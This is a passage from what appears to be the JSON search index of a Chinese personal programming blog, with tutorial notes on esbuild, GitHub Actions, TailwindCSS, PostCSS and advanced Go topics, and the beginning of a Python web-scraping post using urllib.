\u0026ndash;loader:.jpg=dataurl\n添加tsx支持（可以把tsx文件转换为普通的js文件）\nnpx esbuild app.tsx \u0026ndash;outfile=build/index.js \u0026ndash;bundle \u0026ndash;loader:.js=jsx\nesbuild社区插件库：https://github.com/esbuild/community-plugins\n","permalink":"https://xiaochenabc123.github.io/posts/132/","summary":"ESbuild打包器基于Golang开发，优点在于可多线程打包，直接编译成机器码，ESbuild提供的api可在JavaScript和golang使用，连Vite在很多场景都依赖了ESbuild打包（viet在开发环境下使用这个），支持TypeScript和jsx（tsx），css\nESbuild支持ES6模块，cjs模块，对ES6+语法支持性好，可以直接打包css文件，json文件，ts文件\n注意：esbuild并不对ts文件进行类型检查工作\n安装\nnpm install esbuild\n或者\nyarn add esbuild\n打包\n.\\node_modules.bin\\esbuild app.jsx \u0026ndash;outfile=build/index.js \u0026ndash;bundle\n或者\nnpx esbuild app.jsx \u0026ndash;outfile=build/index.js \u0026ndash;bundle\n或者package.json\n\u0026ldquo;build\u0026rdquo;: \u0026ldquo;esbuild app.jsx \u0026ndash;outfile=build/index.js \u0026ndash;bundle\u0026rdquo;\nnpm run build\n或者\nyarn build\n例子（app.jsx）\nimport React from 'react'\rimport ReactDOM from 'react-dom'\rconst App = () =\u0026gt; {\rreturn (\r\u0026lt;div\u0026gt;\r\u0026lt;h1\u0026gt;Hallo, Esbuild!\u0026lt;/h1\u0026gt;\r\u0026lt;/div\u0026gt;\r)\r}\rReactDOM.render(\r\u0026lt;App /\u0026gt;,\rdocument.getElementById(\u0026quot;app\u0026quot;)\r)\rindex.html\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt;\u0026lt;/div\u0026gt;\r\u0026lt;script src=\u0026quot;./build/index.js\u0026quot;\u0026gt;\u0026lt;/script\u0026gt;\r我本地打包只花64ms就打包好了\n使用source map功能","title":"简单使用ESbuild打包工具"},{"content":"CI：持续集成 (Continuous Integration) CD：持续交付 (Continuous Delivery) CD：持续部署 (Continuous Deployment)\nGitHub Actions是GitHub提供的持续集成服务\nGitHub Actions官方文档：https://docs.github.com/en/actions\nworkflow：工作流程，指一次持续集成的流程，由一个job或者多个job组成 Events：事件，触发流程的钩子（在github中事件为检测仓库特定活动的钩子，例如pull，当事件被触发则自动执行工作流程） Job：任务，任务是工作流程的主体 Steps：步骤，每个Job可以包含一个或多个Step Actions: 行为，每个Step包含一个或多个Action Runners: 执行环境，工作流程运行时的服务端，每一个执行环境可以运行一个任务\nworkflow工作流程通过编写workflow文件来描述，workflow文件要使用YAML语言编写，github支持多个workflow（当github发现.github/workflows/目录下有.yml文件时就会执行该文件）\n在仓库的.github/workflows/目录下创建test.yml，其中要配置字段\nname：workflow名称，如果省略默认为当前workflow的文件名\non：指定触发workflow的条件，一般为事件触发（比如说push）\njobs：每一项任务都需要定义个job_id，job中的name为该任务的描述，needs为指定当前任务的运行顺序（依赖关系），runs-on为指定运行时需要的虚拟机环境（这个字段必须填）\n目前github支持的虚拟机操作系统有ubuntu，windows，macOS，而且github提供的虚拟机是免费使用的\n这里举个例子（github官方的）\nname: GitHub Actions Demo\ron: [push]\rjobs:\rExplore-GitHub-Actions:\rruns-on: ubuntu-latest\rsteps:\r- run: echo \u0026quot; The job was automatically triggered by a ${{ github.event_name }} event.\u0026quot;\r- run: echo \u0026quot; This job is now running on a ${{ runner.os }} server hosted by GitHub!\u0026quot;\r- run: echo \u0026quot; The name of your branch is ${{ github.ref }} and your repository is ${{ github.repository }}.\u0026quot;\r- name: Check out repository code\ruses: actions/checkout@v2\r- run: echo \u0026quot; The ${{ github.repository }} repository has been cloned to the runner.\u0026quot;\r- run: echo \u0026quot; The workflow is now ready to test your code on the runner.\u0026quot;\r- name: List files in the repository\rrun: |\rls ${{ github.workspace }}\r- run: echo \u0026quot; This job's status is ${{ job.status }}.\u0026quot; ","permalink":"https://xiaochenabc123.github.io/posts/131/","summary":"CI：持续集成 (Continuous Integration) CD：持续交付 (Continuous Delivery) CD：持续部署 (Continuous Deployment)\nGitHub Actions是GitHub提供的持续集成服务\nGitHub Actions官方文档：https://docs.github.com/en/actions\nworkflow：工作流程，指一次持续集成的流程，由一个job或者多个job组成 Events：事件，触发流程的钩子（在github中事件为检测仓库特定活动的钩子，例如pull，当事件被触发则自动执行工作流程） Job：任务，任务是工作流程的主体 Steps：步骤，每个Job可以包含一个或多个Step Actions: 行为，每个Step包含一个或多个Action Runners: 执行环境，工作流程运行时的服务端，每一个执行环境可以运行一个任务\nworkflow工作流程通过编写workflow文件来描述，workflow文件要使用YAML语言编写，github支持多个workflow（当github发现.github/workflows/目录下有.yml文件时就会执行该文件）\n在仓库的.github/workflows/目录下创建test.yml，其中要配置字段\nname：workflow名称，如果省略默认为当前workflow的文件名\non：指定触发workflow的条件，一般为事件触发（比如说push）\njobs：每一项任务都需要定义个job_id，job中的name为该任务的描述，needs为指定当前任务的运行顺序（依赖关系），runs-on为指定运行时需要的虚拟机环境（这个字段必须填）\n目前github支持的虚拟机操作系统有ubuntu，windows，macOS，而且github提供的虚拟机是免费使用的\n这里举个例子（github官方的）\nname: GitHub Actions Demo\ron: [push]\rjobs:\rExplore-GitHub-Actions:\rruns-on: ubuntu-latest\rsteps:\r- run: echo \u0026quot; The job was automatically triggered by a ${{ github.event_name }} event.\u0026quot;\r- run: echo \u0026quot; This job is now running on a ${{ runner.os }} server hosted by GitHub!","title":"简单使用GitHub Actions来实现CI/CD"},{"content":"TailwindCSS是一个CSS框架，我个人理解这东西就是根据class来生成css（按需），而不是像bootstrap那样，TailwindCSS是原子化的\n安装\nnpm install tailwindcss\n初始化tailwind.config.js\nnpx tailwindcss init\n在tailwind.config.js中content属性，表示着项目的html或者js文件\ncontent: [\r'./src/**/*.{html,js}'\r],\r如果没有配置content属性，会警告\nwarn - The content option in your Tailwind CSS configuration is missing or empty. warn - Configure your content sources or your generated CSS will be missing styles. warn - https://tailwindcss.com/docs/content-configuration\n创建一个css文件配置tailwind三大组件（base，components.utilities）\n@tailwind base;\r@tailwind components;\r@tailwind utilities;\r如果使用的是webpacker或者postcss-import，不能使用@tailwind指令，需要\n@import \u0026quot;tailwindcss/base\u0026quot;;\r@import \u0026quot;tailwindcss/components\u0026quot;;\r@import \u0026quot;tailwindcss/utilities\u0026quot;;\r也可以将css导入到js中\nimport \u0026quot;tailwindcss/tailwind.css\u0026quot;\rtailwind编译\nnpx tailwindcss -i ./src/index.css -o ./dist/main.css\n如果使用的是postcss\npostcss ./src/index.css -o ./dist/main.css\n例如:\n\u0026lt;h1 class=\u0026quot;text-gray-900\u0026quot;\u0026gt;\rhallo word\r\u0026lt;/h1\u0026gt;\r编译后的结果为\n.text-gray-900 {\r--tw-text-opacity: 1;\rcolor: rgb(17 24 39 / var(--tw-text-opacity));\r}\r具体样式根据tailwindcss官方文档为准，https://tailwindcss.com/docs/\n当然也允许自定义，直接配置tailwind.config.js文件就好了（theme属性）\nVisual Studio Code插件Tailwind CSS IntelliSense，让tailwindcss使用更舒适\n","permalink":"https://xiaochenabc123.github.io/posts/130/","summary":"TailwindCSS是一个CSS框架，我个人理解这东西就是根据class来生成css（按需），而不是像bootstrap那样，TailwindCSS是原子化的\n安装\nnpm install tailwindcss\n初始化tailwind.config.js\nnpx tailwindcss init\n在tailwind.config.js中content属性，表示着项目的html或者js文件\ncontent: [\r'./src/**/*.{html,js}'\r],\r如果没有配置content属性，会警告\nwarn - The content option in your Tailwind CSS configuration is missing or empty. warn - Configure your content sources or your generated CSS will be missing styles. warn - https://tailwindcss.com/docs/content-configuration\n创建一个css文件配置tailwind三大组件（base，components.utilities）\n@tailwind base;\r@tailwind components;\r@tailwind utilities;\r如果使用的是webpacker或者postcss-import，不能使用@tailwind指令，需要\n@import \u0026quot;tailwindcss/base\u0026quot;;\r@import \u0026quot;tailwindcss/components\u0026quot;;\r@import \u0026quot;tailwindcss/utilities\u0026quot;;\r也可以将css导入到js中\nimport \u0026quot;tailwindcss/tailwind.css\u0026quot;\rtailwind编译\nnpx tailwindcss -i ./src/index.css -o ./dist/main.css","title":"简单使用TailwindCSS"},{"content":"PostCSS是一个用JS插件转换为css的插件工具（注意：PostCSS不是css预处理器，PostCSS本身是个平台，可以通过一些插件达到css预处理器的效果）\nPostCSS is a tool for transforming CSS with JS plugins. These plugins can support variables and mixins, transpile future CSS syntax, inline images, and more.\n插件查询：https://www.postcss.parts/\n常用插件：https://github.com/postcss/postcss/blob/main/docs/plugins.md\n安装\nnpm install postcss postcss-loader\n或者安装到项目中\nnpm install postcss postcss-loader \u0026ndash;save-dev\nPostCSS不单独使用，可搭配Gulp或者webpack使用（这里使用的是webpack）\nwebpack.config.js\nmodule.exports = {\rmodule: {\rrules: [\r{\rtest: /\\.css$/,\ruse: [\u0026quot;style-loader\u0026quot;, \u0026quot;css-loader\u0026quot;, \u0026quot;postcss-loader\u0026quot;]\r}\r]\r}\r};\rpostcss.config.js\nmodule.exports = {\rplugins: [插件1,插件2]\r};\rAutoprefixer（自动添加浏览器前缀）\nnpm install autoprefixer \u0026ndash;save-dev\nconst autoprefixer = require(\u0026quot;autoprefixer\u0026quot;) // 导入插件\rmodule.exports = {\rplugins: [autoprefixer] // 加载插件\r}\r执行打包命令npm run build\npostcss-preset-env（支持现代css语法）\nnpm install postcss-preset-env \u0026ndash;save-dev\nconst postcssPresetEnv = require(\u0026ldquo;postcss-preset-env\u0026rdquo;)\ncss-modules（css模块化）\nnpm install postcss-modules \u0026ndash;save-dev\nconst postcssModules = require(\u0026ldquo;postcss-modules\u0026rdquo;)\nstylelint（css代码检查）\nnpm install stylelint stylelint-config-standard \u0026ndash;save-dev\nconst StyleLintPlugin = require(\u0026ldquo;stylelint-webpack-plugin\u0026rdquo;)\n","permalink":"https://xiaochenabc123.github.io/posts/129/","summary":"PostCSS是一个用JS插件转换为css的插件工具（注意：PostCSS不是css预处理器，PostCSS本身是个平台，可以通过一些插件达到css预处理器的效果）\nPostCSS is a tool for transforming CSS with JS plugins. These plugins can support variables and mixins, transpile future CSS syntax, inline images, and more.\n插件查询：https://www.postcss.parts/\n常用插件：https://github.com/postcss/postcss/blob/main/docs/plugins.md\n安装\nnpm install postcss postcss-loader\n或者安装到项目中\nnpm install postcss postcss-loader \u0026ndash;save-dev\nPostCSS不单独使用，可搭配Gulp或者webpack使用（这里使用的是webpack）\nwebpack.config.js\nmodule.exports = {\rmodule: {\rrules: [\r{\rtest: /\\.css$/,\ruse: [\u0026quot;style-loader\u0026quot;, \u0026quot;css-loader\u0026quot;, \u0026quot;postcss-loader\u0026quot;]\r}\r]\r}\r};\rpostcss.config.js\nmodule.exports = {\rplugins: [插件1,插件2]\r};\rAutoprefixer（自动添加浏览器前缀）\nnpm install autoprefixer \u0026ndash;save-dev","title":"PostCSS学习笔记"},{"content":"这篇笔记是进阶学习，如果基础没有看的的话，请去看https://xiaochenabc123.test.com/archives/96.html\n并发\ngo的并发靠goroutine，goroutine由go运行时调度，线程由操作系统调度，go还提供channel来给多个goroutine之间通行，goroutine和channel是go并发模式CSP（Communicating Sequential Process，通讯顺序进程）的实现基础，goroutine的调度在用户态下完成，不涉及内核态（比如内存的分配和释放，都是用户态维护的内存池，成本远比调度OS线程要低的多，可轻松做到成千上万个goroutine）\n内核态：程序执行操作系统层级的程序时\n用户态：程序执行用户自己写的程序时\n常见的并发模型有七种，分别是通讯顺序进程（CSP），数据级并行，函数式编程，线程与锁，Clojure，actor，Lambda架构\nCSP（Communicating Sequential Process，通讯顺序进程）：思想就是将两个并发执行的实体使用channel管道来连接起来，全部信息通过channel管道来传输，而且数据的传输是根据顺序来发送和接收的，CSP理论由托尼·霍尔提出\n小知识：托尼·霍尔（C.A.R.Hoare），图灵奖获得者，快速排序算法（Quick Sort）也出自这位之手\ngo的并发编程不需要像java那样维护线程池，go在语言层面内置了调度和上下文切换机制，只需要定义任务，让go运行时来智能合理的调度goroutine的任务给每个CPU，也不需要额外写什么进程，线程，协程，只需要写一个函数，开启一个goroutine就是可以实现并发了\nGo运行时会给main()函数建立一个默认的goroutine，当main()结束时，其他在main()执行的goroutine都会被结束（不管有没有执行完成）\ngoroutine的栈开始时为2kb（OS线程一般为2mb），而且栈不是固定的，可以增大和缩小，大小限制可以达到1GB\nGPM调度器是Go对CSP并发模型的实现，是Go自己开发的一套调度系统（GPM分别表示为Goroutine，Processor，Machine）\nGoroutine：go关键字创建的执行体，对应则结构体g，这个结构体存储着goroutine的堆栈信息\nProcessor：负责管理goroutine队列，存储则当前goroutine运行的上下文，会给自己管理的goroutine队列进行调度，例如：暂停goroutine，执行goroutine，当自己的队列处理完毕，将去全局队列中获取，全局队列处理完毕，还可以去其他P的队列去获取，用来处理G和M的通信\nMachine：G运行时对操作系统内核线程的虚拟化，映射内核线程（groutine就是被放到这个内核线程的映射虚拟化M中执行）\n简单来说就是P管理一组G在M上执行，当一个G阻塞在一个M时，Go运行时创建一个新的M，负责管理阻塞的那个G的P将其他G挂载在新的M上，G阻塞完成时或者G死掉了，回收旧的M\nP的个数通过runtime.GOMAXPROCS设置（最大256）（1.5版本后默认为计算机物理线程数）\nGPM调度器使用被称为m:n调度的技术（复用或者调度m个goroutine到n个OS线程）（可用runtime.GOMAXPROCS来控制OS线程的数量）\n因为底层OS线程的切换机制是根据时间轮询来切换的，因此goroutine的切换机制也是根据时间轮询来切换\nruntime.Gosched()：让当前任务让出线程占用，给其他任务执行\nruntime.Goexit()：终止当前任务\n通道是可被垃圾回收机制回收的，所以只有在告诉接收数据方，所有数据都已发送完毕了才需要关闭通道\n对已经关闭的管道发送数据，导致触发panic，同样关闭已经关闭的管道也会导致\n对已经关闭并且没有值的管道接收数据，将得到对应类型的零值，接收一个已经被关闭的管道，会一直接收数据，直到管道空了\n无缓冲区管道（阻塞管道）：要求管道的发送方和接收方交互是同步的，管道容量等于0的就是无缓冲管道，如果不能满足同步，将导致阻塞，要接收者准备完毕，发送者才能进行工作\n有缓冲区管道（非阻塞管道）：可以异步发送数据接收数据，只要缓冲区存在没有使用的空间，通信就是无阻塞的，可先发送数据再接收（因为有缓冲区），而且缓冲区管道可以保存数据（不需要取完数据）\n任务池：goroutine池，当goroutine任务完成，不kill该goroutine，而是获取下一个任务，并且继续执行该任务\n注意：go内置的map并不是并发安全的，只有使用channel或者sync.Map才是并发安全的\n锁可以避免并发冲突，但是锁对系统性能影响很大，原子操作可以减少这种消耗\n原子操作：指的是某个操作在执行中，其他协程不会看到没有执行完毕的结果，对于其他协程来说，只有原子操作完成了或者没开始，就好像原子一样，不被分割\n在多核中，某个核心读取某个数据是，会因为CPU缓存的原因，可能读取到的值不是最新的，在Go中，原子操作主要依赖于sync/atomic包\nsync/atomic包将原子操作封装成了Go的函数，sync/atomic包提供了底层的原子级内存操作\n因为Go不支持泛型，所以封装的函数很多（每个类型都有自己的原子操作函数，这里只写int64一个类型）\n增或减（被操作值增大或减少，只适合int和uint类型增减）：func AddInt64(addr *int64, delta int64) (new int64)\n载入（读取，避免读取过程，其他协程进行修改操作）：func LoadInt64(addr *int64) (val int64)\n存储（写入，避免写入过程，其他协程进行读取操作）：func StoreInt64(addr *int64, val int64)\n交换（和CAS不同，交换只赋值old值，不管原来的值）：func SwapInt64(addr *int64, new int64) (old int64)\n比较并且交换（Compare And Swap 简称CAS，类似于乐观锁，只有原来的值和传入的old值一样才修改）：func CompareAndSwapInt64(addr *int64, old, new int64) (swapped bool)\n使用方法：atomic.原子操作函数名\ngoroutine的特性：非阻塞（不等待），调度器不能保证多个goroutine的执行顺序，全部goroutine都是平等的（不存在父子关系）\n固定worker工作池（用固定数目的goroutine来作为工作线程池，提升并发能力），工作通道，结果通道，worker任务管道\n从worker任务管道获取任务到工作管道，处理完毕的结果传递到结果通道\ncontext标准库（go1.7版本以及之后版本），用来跟踪goroutine调用树（因为goroutine不存在父子关系，无法靠语法来通知）\nContext接口：所有的context对象都要实现该接口，一般用来当作context对象的参数类型，该接口定义了4个需要实现的方法，分别是Deadline()，Done()，Err()，Value()\nDeadline()方法：需要返回当前Context被取消的时间（完成工作截止时间） Done()方法：需要返回一个channel，这个管道会在当前工作完成或者上下文被取消之后关闭 Err()方法：返回当前Context结束的原因 Value()方法：会从Context中返回键对应的值\ncanceler接口：规定了通知取消的Context对象要实现的接口\nempty Context结构：实现了Context接口，但是不具备任何功能（该结构体的方法是空方法），该结构被用来当做Context对象树的根（root节点），模拟一个真的goroutine树\ncancelCtx类型：实现了Context接口的具体类型，并且同时实现了canceler接口，不但具备退出通知功能，还能将退出通知告诉整个children节点\ntimerCtx类型：实现了Context接口的具体类型，并且封装了cancelCtx类型实例，具备一个deadline变量，用来实现定时退出通知\nvalueCtx类型：实现了Context接口的具体类型，并且封装了Context接口实例，具备一个k/v的存储变量，用来传递通知\ngo内置的net/http包提供了http客户端和服务端的实现，性能媲美nginx（每一个请求都有一个对应的goroutine去处理，并发性能好）\nhttp服务端\nfunc h(w http.ResponseWriter, r *http.Request) {\rfmt.Println(r.RemoteAddr, \u0026quot;连接成功\u0026quot;)\rfmt.Println(r.Method, r.URL.Path, r.Body, r.Header)\rstr := \u0026quot;hallo word\u0026quot;\rw.Write([]byte(str))\r}\rfunc main() {\rhttp.HandleFunc(\u0026quot;/test\u0026quot;, h)\rhttp.ListenAndServe(\u0026quot;127.0.0.1:8080\u0026quot;, nil)\r}\r访问http://127.0.0.1:8080/test，就可以看到hallo word了，控制台还是输出一些有关请求的信息\nhttp客户端（get请求，这个东西也可以用来做go爬虫）\nres, err := http.Get(\u0026quot;https://xiaochenabc123.test.com\u0026quot;)\rif err != nil {\rfmt.Println(err)\r}\rbody, err := ioutil.ReadAll(res.Body)\rif err != nil {\rfmt.Println(err)\r}\rfmt.Println(string(body))\rget参数通过r.URL.Query()进行识别\npost请求\nresp, err := http.Post(\u0026quot;https://xiaochenabc123.test.com\u0026quot;, \u0026quot;application/x-www-form-urlencoded\u0026quot;, strings.NewReader(\u0026quot;test=hallo word\u0026quot;))\rif err != nil {\rfmt.Println(err)\r}\rdefer resp.Body.Close()\rbody, err := ioutil.ReadAll(resp.Body)\rfmt.Println(string(body))\r日志标准库log（log包是go内置的）\nlog.Println() 普通日志 log.Fatalln() 会触发fatal的日志，写入日志后调用os.Exit(1) log.Panicln() 会触发panic的日志，写入日志后panic\nlog会打印日志信息的日期，时间，以及日志信息\n可通过log.SetOutput()存储日志到文件中\n日志等级（从小到大，默认输出Debug及其以上基本的日志）：\nlog.Trace（基本输出），log.Debug（调试），log.Info（重要），log.Warning（警告），log.Error（错误），CRIT（严重危险）, ALRT（严重警告），log.Fatal（严重紧急）\ngo test测试工具\n在包目录中，所有以_test.go为后缀名的文件，都认为是go test的一部分，不会被go build编译到可执行文件中\n在这些以_test.go为后缀名的文件中的函数，分为3种类型，单元测试函数，基准测试函数和示例函数\n单元测试函数：函数名前缀以Test开头的，用来测试程序的逻辑是否正常\n基准测试函数：函数名前缀以Benchmark开头的，测试函数的性能\n示例函数：函数名前缀以Example开头的，提供示例\ngo test会遍历这些符合规则的函数，并且生成临时的main包来调用测试函数，执行，返回测试结果，最后清理临时测试文件\n测试函数必须要导入testing包，例如：func TestData(t *testing.T){}\n基准测试函数：func BenchmarkData(b *testing.B)\n示例函数：func ExampleData()\ngo变量如果在声明时没有指定初始值，那么该变量初始值为该变量的类型的零值\n:=声明方式只能出现在函数中（由go自动判断类型）\ngo提供自动垃圾回收（Garbage Collector）机制，不需要关注变量的内存管理，go使用逃逸分析(Escape Analysis)技术\ngo会为变量在两个地方分配内存空间，这两个地方分别是全局的堆(heap)空间和每个goroutine的栈(stack)空间，因为go是自动管理内存空间的，不需要关心这些，但是栈内存和堆内存在性能差别很大\n如果分配到栈中，那么当函数执行完毕后自动回收，如果是分配到堆中，会在函数执行完毕后某个时间点进行垃圾回收，而且在栈上分配内存或者回收内存花销都很低，只需要PUSH（将数据PUSH到栈空间）和POP（释放空间）两个CPU指令，因此只是将数据PUSH到内存的时间，效率和内存的I/O成正比\n如果是堆中，因为go语言垃圾回收用的是标记清除算法（GC，垃圾回收）（标记要查找存活的对象，清除要遍历堆的全部对象，回收没有标记的对象）（题外知识：JavaScript垃圾回收就是用的这个标记清除算法）\n逃逸分析(Escape Analysis)：由编译器决定变量是分配到栈空间还是堆空间，当变量的作用域在函数内部，那么该变量是分配到栈空间上，反之则分配在堆空间，也就是说当变量不能随着函数结束而回收时分配在堆空间（指针逃逸），另外空接口在编译阶段难确定其参数的类型，也会发生逃逸，闭包也会逃逸\n另外当栈空间不足也会发生逃逸（因为栈溢出），栈空间被操作系统所限制大小（当栈空间不足时，发生栈溢出）\n利用逃逸分析原理提升性能：一般情况下，占用大内存的变量应该使用传指针（堆空间，虽然GC性能没有栈空间那么好，但是传指针只复制指针地址，不对值的拷贝），小内存的变量用传值（栈空间，可获得更好的性能）\n反射：指程序在执行过程中，可以访问，监测和修改本身状态和行为的能力\nGo语言提供了一种机制在运行时更新变量和检查它们的值，调用它们的方法，但是在编译时并不知道这些变量的具体类型，这称为反射机制\nGo的反射基础是接口和类型系统，借助接口自动创建的数据结构实现，反射依赖于interface类型，反射的实现靠reflect标准库\nGo语言类型分为2大类，static type和concrete type，其中static type是int，string这些在编码时能看到的类型，concrete type是runtime系统才能看见的类型（类型断言依赖于concrete type）\n因为Go语言是静态语言，在编译阶段已经被确定了类型，使用interface类型的变量有一个pair，pair被用来记录了实际变量的值和类型，并且这个变量有2个指针，一个指向concrete type，另一个指向实际值\nreflect.TypeOf()：该函数的参数是一个空接口类型，返回值为一个type接口类型，返回一个type的接口变量，通过接口抽象出来的方法访问具体类型的信息（用来获取反射对象pair的type）\nreflect.ValueOf()：该函数的参数是一个空接口类型，返回值为一个Value类型的变量（用来获取pair的value对象），\nreflect.Kind()方法：该方法没有参赛，返回值是字符串类型（用来获取具体类型struct）\n例如：\ntype Testint int64\rvar num Testint = 666\rfmt.Println(\u0026quot;type: \u0026quot;, reflect.TypeOf(num))\rfmt.Println(\u0026quot;value: \u0026quot;, reflect.ValueOf(num))\rfmt.Println(\u0026quot;kind: \u0026quot;, reflect.TypeOf(num).Kind())\rGo 交叉编译（在一个平台上生成另一个平台的可执行程序）（Mac/Linux/Windows下）\nWindows下编译Mac,Linux\nLinux\nSET CGO_ENABLED=0 SET GOOS=linux SET GOARCH=amd64 go build main.go\nMac\nSET CGO_ENABLED=0 SET GOOS=darwin SET GOARCH=amd64 go build main.go\nLinux下编译Mac,Windows\nWindows\nCGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build main.go\nMac\nCGO_ENABLED=0 GOOS=darwin GOARCH=amd64 go build main.go\nMac下编译Linux,Windows\nLinux\nCGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go\nWindows\nCGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build main.go\n其中CGO_ENABLED=0来控制go build是否使用CGO编译器，1为使用CGO编译器，GOOS表示编译成什么平台的（linux/windows/darwin/freebsd）,GOARCH表示编译成什么平台的体系架构（386/amd64/arm，32位，64位，ARM）\n注意：CGO是Go代码中调用C代码交叉编译，但是交叉编译不支持CGO，因此如果存在C代码是不能编译的，需要禁用CGO\ndep包管理工具\n命令行参数解析（依赖于内置flag包）\n导入flag包\nimport flag\n定义参数\npass := flag.String(\u0026quot;pass\u0026quot;, \u0026quot;123\u0026quot;, \u0026quot;密码\u0026quot;)\r可以看到flag.Type方法接收3个参数，分别是flag名，默认值，提示\nflag支持Int，Int64，Uint，Uint64，Float，Float64，String，Bool，Duration（时间间隔）等类型\n还有一种定义参数的方式\nvar pass string\rflag.StringVar(\u0026amp;pass, \u0026quot;pass\u0026quot;, \u0026quot;123\u0026quot;, \u0026quot;密码\u0026quot;)\r定义完毕参数后，使用flag.Parse()解析，命令行中指定pass，pass的数据将会保存在pass变量中\nflag其他常用函数\n返回命令行参数后（未定义的参数）的其他参数 flag.Args()\n返回命令行参数后（未定义的参数）的其他参数个数 flag.NArg()\n返回命令行参数（定义的）的个数 flag.NFlag()\n例如：\nfunc main() {\rvar pass string\rflag.StringVar(\u0026amp;pass, \u0026quot;pass\u0026quot;, \u0026quot;123\u0026quot;, \u0026quot;密码\u0026quot;)\rflag.Parse()\rfmt.Println(pass)\rfmt.Println(flag.Args())\rfmt.Println(flag.NArg())\rfmt.Println(flag.NFlag())\r}\r./test -pass hallo\n可使用-help参数查看参数提示\n","permalink":"https://xiaochenabc123.github.io/posts/128/","summary":"这篇笔记是进阶学习，如果基础没有看的的话，请去看https://xiaochenabc123.test.com/archives/96.html\n并发\ngo的并发靠goroutine，goroutine由go运行时调度，线程由操作系统调度，go还提供channel来给多个goroutine之间通行，goroutine和channel是go并发模式CSP（Communicating Sequential Process，通讯顺序进程）的实现基础，goroutine的调度在用户态下完成，不涉及内核态（比如内存的分配和释放，都是用户态维护的内存池，成本远比调度OS线程要低的多，可轻松做到成千上万个goroutine）\n内核态：程序执行操作系统层级的程序时\n用户态：程序执行用户自己写的程序时\n常见的并发模型有七种，分别是通讯顺序进程（CSP），数据级并行，函数式编程，线程与锁，Clojure，actor，Lambda架构\nCSP（Communicating Sequential Process，通讯顺序进程）：思想就是将两个并发执行的实体使用channel管道来连接起来，全部信息通过channel管道来传输，而且数据的传输是根据顺序来发送和接收的，CSP理论由托尼·霍尔提出\n小知识：托尼·霍尔（C.A.R.Hoare），图灵奖获得者，快速排序算法（Quick Sort）也出自这位之手\ngo的并发编程不需要像java那样维护线程池，go在语言层面内置了调度和上下文切换机制，只需要定义任务，让go运行时来智能合理的调度goroutine的任务给每个CPU，也不需要额外写什么进程，线程，协程，只需要写一个函数，开启一个goroutine就是可以实现并发了\nGo运行时会给main()函数建立一个默认的goroutine，当main()结束时，其他在main()执行的goroutine都会被结束（不管有没有执行完成）\ngoroutine的栈开始时为2kb（OS线程一般为2mb），而且栈不是固定的，可以增大和缩小，大小限制可以达到1GB\nGPM调度器是Go对CSP并发模型的实现，是Go自己开发的一套调度系统（GPM分别表示为Goroutine，Processor，Machine）\nGoroutine：go关键字创建的执行体，对应则结构体g，这个结构体存储着goroutine的堆栈信息\nProcessor：负责管理goroutine队列，存储则当前goroutine运行的上下文，会给自己管理的goroutine队列进行调度，例如：暂停goroutine，执行goroutine，当自己的队列处理完毕，将去全局队列中获取，全局队列处理完毕，还可以去其他P的队列去获取，用来处理G和M的通信\nMachine：G运行时对操作系统内核线程的虚拟化，映射内核线程（groutine就是被放到这个内核线程的映射虚拟化M中执行）\n简单来说就是P管理一组G在M上执行，当一个G阻塞在一个M时，Go运行时创建一个新的M，负责管理阻塞的那个G的P将其他G挂载在新的M上，G阻塞完成时或者G死掉了，回收旧的M\nP的个数通过runtime.GOMAXPROCS设置（最大256）（1.5版本后默认为计算机物理线程数）\nGPM调度器使用被称为m:n调度的技术（复用或者调度m个goroutine到n个OS线程）（可用runtime.GOMAXPROCS来控制OS线程的数量）\n因为底层OS线程的切换机制是根据时间轮询来切换的，因此goroutine的切换机制也是根据时间轮询来切换\nruntime.Gosched()：让当前任务让出线程占用，给其他任务执行\nruntime.Goexit()：终止当前任务\n通道是可被垃圾回收机制回收的，所以只有在告诉接收数据方，所有数据都已发送完毕了才需要关闭通道\n对已经关闭的管道发送数据，导致触发panic，同样关闭已经关闭的管道也会导致\n对已经关闭并且没有值的管道接收数据，将得到对应类型的零值，接收一个已经被关闭的管道，会一直接收数据，直到管道空了\n无缓冲区管道（阻塞管道）：要求管道的发送方和接收方交互是同步的，管道容量等于0的就是无缓冲管道，如果不能满足同步，将导致阻塞，要接收者准备完毕，发送者才能进行工作\n有缓冲区管道（非阻塞管道）：可以异步发送数据接收数据，只要缓冲区存在没有使用的空间，通信就是无阻塞的，可先发送数据再接收（因为有缓冲区），而且缓冲区管道可以保存数据（不需要取完数据）\n任务池：goroutine池，当goroutine任务完成，不kill该goroutine，而是获取下一个任务，并且继续执行该任务\n注意：go内置的map并不是并发安全的，只有使用channel或者sync.Map才是并发安全的\n锁可以避免并发冲突，但是锁对系统性能影响很大，原子操作可以减少这种消耗\n原子操作：指的是某个操作在执行中，其他协程不会看到没有执行完毕的结果，对于其他协程来说，只有原子操作完成了或者没开始，就好像原子一样，不被分割\n在多核中，某个核心读取某个数据是，会因为CPU缓存的原因，可能读取到的值不是最新的，在Go中，原子操作主要依赖于sync/atomic包\nsync/atomic包将原子操作封装成了Go的函数，sync/atomic包提供了底层的原子级内存操作\n因为Go不支持泛型，所以封装的函数很多（每个类型都有自己的原子操作函数，这里只写int64一个类型）\n增或减（被操作值增大或减少，只适合int和uint类型增减）：func AddInt64(addr *int64, delta int64) (new int64)\n载入（读取，避免读取过程，其他协程进行修改操作）：func LoadInt64(addr *int64) (val int64)\n存储（写入，避免写入过程，其他协程进行读取操作）：func StoreInt64(addr *int64, val int64)\n交换（和CAS不同，交换只赋值old值，不管原来的值）：func SwapInt64(addr *int64, new int64) (old int64)\n比较并且交换（Compare And Swap 简称CAS，类似于乐观锁，只有原来的值和传入的old值一样才修改）：func CompareAndSwapInt64(addr *int64, old, new int64) (swapped bool)","title":"Golang进阶扩展笔记"},{"content":"urllib，xpath，jsonpath，beautiful，requests，selenium，Scrapy\npython库内置的HTTP请求库 urllib.request 请求模块 urllib.error 异常处理模块 urllib.parse url解析模块 urllib.robotparsef robots.txt解析模块\nurllib.request提供了最基本的http请求方法，主要带有处理授权验证，重定向，浏览器Cookies功能\n模拟浏览器发送get请求，就需要使用request对象，在该对象添加http头 import urllib.requst response = urllib.request.urlopen(\u0026lsquo;https://xiaochenabc123.test.com/') print(response.read().decode(\u0026lsquo;utf-8\u0026rsquo;))\n使用type()方法 import urllib.requst response = urllib.request.urlopen(\u0026lsquo;https://xiaochenabc123.test.com/') print(type(response))\nHTTPResposne类型对象\n通过status属性获取返回的状态码 import urllib.requst 